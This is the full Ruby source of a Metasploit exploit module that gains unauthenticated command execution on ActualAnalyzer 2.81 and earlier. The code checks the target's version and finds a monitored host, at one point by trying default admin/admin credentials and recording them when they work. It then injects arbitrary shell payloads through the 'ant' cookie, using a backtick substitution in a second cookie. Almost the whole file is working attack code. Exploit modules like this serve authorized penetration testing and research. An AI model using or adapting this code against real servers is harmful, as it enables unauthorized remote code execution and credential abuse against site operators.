1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264 | ##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(
info,
'Name' => "ActualAnalyzer 'ant' Cookie Command Execution",
'Description' => %q{
This module exploits a command execution vulnerability in
ActualAnalyzer version 2.81 and prior.
The 'aa.php' file allows unauthenticated users to
execute arbitrary commands in the 'ant' cookie.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Benjamin Harris', # Discovery and exploit
'Brendan Coles <bcoles[at]gmail.com>' # Metasploit
],
'References' =>
[
['EDB', '34450'],
['OSVDB', '110601']
],
'Payload' =>
{
'Space' => 4096, # HTTP cookie
'DisableNops' => true,
'BadChars' => "\x00"
},
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'Targets' =>
[
# Tested on ActualAnalyzer versions 2.81 and 2.75 on Ubuntu
['ActualAnalyzer <= 2.81', { 'auto' => true }]
],
'Privileged' => false,
'DisclosureDate' => 'Aug 28 2014',
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The base path to ActualAnalyzer', '/lite/']),
OptString.new('USERNAME', [false, 'The username for ActualAnalyzer', 'admin']),
OptString.new('PASSWORD', [false, 'The password for ActualAnalyzer', 'admin']),
OptString.new('ANALYZER_HOST', [false, 'A hostname or IP monitored by ActualAnalyzer', ''])
], self.class)
end
#
# Checks if target is running ActualAnalyzer <= 2.81
#
def check
# check for aa.php
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php'))
if !res
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
elsif res.code == 404
vprint_error("#{peer} - Could not find aa.php")
return Exploit::CheckCode::Safe
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/
vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.")
return Exploit::CheckCode::Detected
end
# check version
res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php'))
if !res
vprint_error("#{peer} - Connection failed")
return Exploit::CheckCode::Unknown
elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body
vprint_status("#{peer} - Found version: #{version}")
if Gem::Version.new(version) <= Gem::Version.new('2.81')
report_vuln(
host: rhost,
name: self.name,
info: "Module #{fullname} detected ActualAnalyzer #{version}",
refs: references,
)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Detected
elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/
return Exploit::CheckCode::Detected
end
Exploit::CheckCode::Safe
end
#
# Try to retrieve a valid analytics host from view.php unauthenticated
#
def get_analytics_host_view
analytics_host = nil
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'view.php'),
'vars_post' => {
'id_h' => '',
'listp' => '',
'act_h' => 'vis_int',
'oldact' => 'vis_grpg',
'tint_h' => '',
'extact_h' => '',
'home_pos' => '',
'act' => 'vis_grpg',
'tint' => 'total',
'grpg' => '201',
'cp_vst' => 'on',
'cp_hst' => 'on',
'cp_htst' => 'on',
'cp_reps' => 'y',
'tab_sort' => '1_1'
}
)
if !res
vprint_error("#{peer} - Connection failed")
elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
return analytics_host
else
vprint_status("#{peer} - Could not find any hosts on view.php")
end
nil
end
#
# Try to retrieve a valid analytics host from code.php unauthenticated
#
def get_analytics_host_code
analytics_host = nil
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'code.php'),
'vars_get' => {
'pid' => '1'
}
)
if !res
vprint_error("#{peer} - Connection failed")
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
return analytics_host
else
vprint_status("#{peer} - Could not find any hosts on code.php")
end
nil
end
#
# Try to retrieve a valid analytics host from admin.php with creds
#
def get_analytics_host_admin
analytics_host = nil
user = datastore['USERNAME']
pass = datastore['PASSWORD']
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin.php'),
'vars_post' => {
'uname' => user,
'passw' => pass,
'id_h' => '',
'listp' => '',
'act_h' => '',
'oldact' => 'pages',
'tint_h' => '',
'extact_h' => '',
'param_h' => '',
'param2_h' => '',
'home_pos' => '',
'act' => 'dynhtml',
'set.x' => '11',
'set.y' => '11'
}
)
if !res
vprint_error("#{peer} - Connection failed")
elsif res.code == 200 && res.body =~ />Login</
vprint_status("#{peer} - Login failed.")
elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body
vprint_good("#{peer} - Found analytics host: #{analytics_host}")
print_good("#{peer} - Login successful! (#{user}:#{pass})")
service_data = {
address: Rex::Socket.getaddress(rhost, true),
port: rport,
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
private_type: :password,
private_data: pass,
username: user
}
credential_data.merge!(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}
login_data.merge!(service_data)
create_credential_login(login_data)
return analytics_host
else
vprint_status("#{peer} - Could not find any hosts on admin.php")
end
nil
end
def execute_command(cmd, opts = { analytics_host: vhost })
vuln_cookies = %w(anw anm)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'aa.php'),
'vars_get' => { 'anp' => opts[:analytics_host] },
'cookie' => "ant=#{cmd}; #{vuln_cookies.sample}=#{rand(100...999)}.`$cot`"
)
if !res
fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out")
elsif res.code == 302 && res.headers['Content-Type'] =~ /image/
print_good("#{peer} - Payload sent successfully")
return true
elsif res.code == 302 && res.headers['Location'] =~ /error\.gif/
vprint_status("#{peer} - Host '#{opts[:analytics_host]}' is not monitored by ActualAnalyzer.")
elsif res.code == 200 && res.body =~ /Admin area<\/title>/
fail_with(Failure::Unknown, "#{peer} - ActualAnalyzer is not installed. Try installing first.")
else
fail_with(Failure::Unknown, "#{peer} - Something went wrong")
end
nil
end
def exploit
return unless check == Exploit::CheckCode::Vulnerable
analytics_hosts = []
if datastore['ANALYZER_HOST'].blank?
analytics_hosts << get_analytics_host_code
analytics_hosts << get_analytics_host_view
analytics_hosts << get_analytics_host_admin
analytics_hosts << vhost
analytics_hosts << '127.0.0.1'
analytics_hosts << 'localhost'
else
analytics_hosts << datastore['ANALYZER_HOST']
end
analytics_hosts.uniq.each do |host|
next if host.nil?
vprint_status("#{peer} - Trying hostname '#{host}' - Sending payload (#{payload.encoded.length} bytes)...")
break if execute_command(payload.encoded, analytics_host: host)
end
end
end
|